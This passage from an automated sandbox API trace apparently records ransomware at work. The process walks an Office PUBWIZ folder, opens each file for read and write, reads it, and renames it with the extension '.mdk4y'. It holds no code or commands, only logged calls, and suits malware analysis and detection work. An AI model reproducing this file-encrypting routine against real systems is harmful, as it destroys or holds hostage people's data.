lpPerformanceCount=0x37dee4*=1832096800000) returned 1 [0245.738] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2800, lpOverlapped=0x0) returned 1 [0245.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832098000000) returned 1 [0245.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832098000000) returned 1 [0245.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.dpv.mdk4y")) returned 1 [0245.754] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.754] AreFileApisANSI () returned 1 [0245.754] GetACP () returned 0x4e4 [0245.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBBTN.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBBTN.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832098600000) returned 1 [0245.757] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x110e, lpOverlapped=0x0) returned 1 [0245.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832103900000) returned 1 [0245.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832103900000) returned 1 [0245.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.mdk4y")) returned 1 [0245.811] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.812] AreFileApisANSI () returned 1 [0245.812] GetACP () returned 0x4e4 [0245.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBCAL.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBCAL.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832104400000) returned 1 [0245.814] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x301be, lpOverlapped=0x0) returned 1 [0245.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832105700000) returned 1 [0245.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832105700000) returned 1 [0245.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.dpv.mdk4y")) returned 1 [0245.831] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.831] AreFileApisANSI () returned 1 [0245.831] GetACP () returned 0x4e4 [0245.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBCAL.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBCAL.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.831] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832106300000) returned 1 [0245.833] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cb0, lpOverlapped=0x0) returned 1 [0245.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832110000000) returned 1 [0245.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832110000000) returned 1 [0245.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.mdk4y")) returned 1 [0245.872] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.872] AreFileApisANSI () returned 1 [0245.872] GetACP () returned 0x4e4 [0245.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBHD.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBHD.DPVL", lpUsedDefaultChar=0x37df4c) returned 11 [0245.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832110500000) returned 1 [0245.875] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f814, lpOverlapped=0x0) returned 1 [0245.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832114000000) returned 1 [0245.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832114000000) returned 1 [0245.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.dpv.mdk4y")) returned 1 [0245.916] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.916] AreFileApisANSI () returned 1 [0245.916] GetACP () returned 0x4e4 [0245.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBHD.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBHD.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0245.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832114800000) returned 1 [0245.918] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1dbc, lpOverlapped=0x0) returned 1 [0245.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832115000000) returned 1 [0245.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832115000000) returned 1 [0245.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.mdk4y")) returned 1 [0245.922] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.922] AreFileApisANSI () returned 1 [0245.922] GetACP () returned 0x4e4 [0245.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBPQT.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBPQT.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.922] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832115400000) returned 1 [0245.924] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5000, lpOverlapped=0x0) returned 1 [0245.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832115500000) returned 1 [0245.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832115500000) returned 1 [0245.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.dpv.mdk4y")) returned 1 [0245.930] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.930] AreFileApisANSI () returned 1 [0245.930] GetACP () returned 0x4e4 [0245.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBPQT.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBPQT.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.930] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832116100000) returned 1 [0245.932] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbbc, lpOverlapped=0x0) returned 1 [0246.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832123700000) returned 1 [0246.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832123700000) returned 1 [0246.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.mdk4y")) returned 1 [0246.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.009] AreFileApisANSI () returned 1 [0246.009] GetACP () returned 0x4e4 [0246.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBREF.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBREF.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0246.009] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832124100000) returned 1 [0246.011] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x220, lpOverlapped=0x0) returned 1 [0246.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832124100000) returned 1 [0246.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832124100000) returned 1 [0246.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.mdk4y")) returned 1 [0246.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.013] AreFileApisANSI () returned 1 [0246.013] GetACP () returned 0x4e4 [0246.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBSBR.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBSBR.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0246.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832124400000) returned 1 [0246.014] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6df7, lpOverlapped=0x0) returned 1 [0246.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832132500000) returned 1 [0246.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832132500000) returned 1 [0246.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.dpv.mdk4y")) returned 1 [0246.098] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.098] AreFileApisANSI () returned 1 [0246.098] GetACP () returned 0x4e4 [0246.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBSBR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBSBR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0246.098] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832133000000) returned 1 [0246.100] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbbc, lpOverlapped=0x0) returned 1 [0246.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832135000000) returned 1 [0246.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832135000000) returned 1 [0246.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.mdk4y")) returned 1 [0246.122] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.122] AreFileApisANSI () returned 1 [0246.122] GetACP () returned 0x4e4 [0246.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGZIP.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGZIP.DPVXML", lpUsedDefaultChar=0x37df4c) returned 9 [0246.122] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzip.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832135300000) returned 1 [0246.123] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc00, lpOverlapped=0x0) returned 1 [0246.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141200000) returned 1 [0246.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141200000) returned 1 [0246.182] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzip.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIP.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzip.dpv.mdk4y")) returned 1 [0246.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.184] AreFileApisANSI () returned 1 [0246.184] GetACP () returned 0x4e4 [0246.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGZIPC.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGZIPC.XMLML", lpUsedDefaultChar=0x37df4c) returned 10 [0246.184] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141500000) returned 1 [0246.185] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6, lpOverlapped=0x0) returned 1 [0246.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141600000) returned 1 [0246.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141600000) returned 1 [0246.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.mdk4y")) returned 1 [0246.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.188] AreFileApisANSI () returned 1 [0246.188] GetACP () returned 0x4e4 [0246.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DOTS.POC", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DOTS.POCML", lpUsedDefaultChar=0x37df4c) returned 8 [0246.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DOTS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dots.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832141900000) returned 1 [0246.189] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c56, lpOverlapped=0x0) returned 1 [0246.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832161800000) returned 1 [0246.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832161800000) returned 1 [0246.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DOTS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dots.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DOTS.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dots.poc.mdk4y")) returned 1 [0246.390] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0246.390] AreFileApisANSI () returned 1 [0246.390] GetACP () returned 0x4e4 [0246.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DVDHM.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DVDHM.POCL", lpUsedDefaultChar=0x37df4c) returned 9 [0246.390] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DVDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dvdhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0246.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832162200000) returned 1 [0246.392] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10c34, 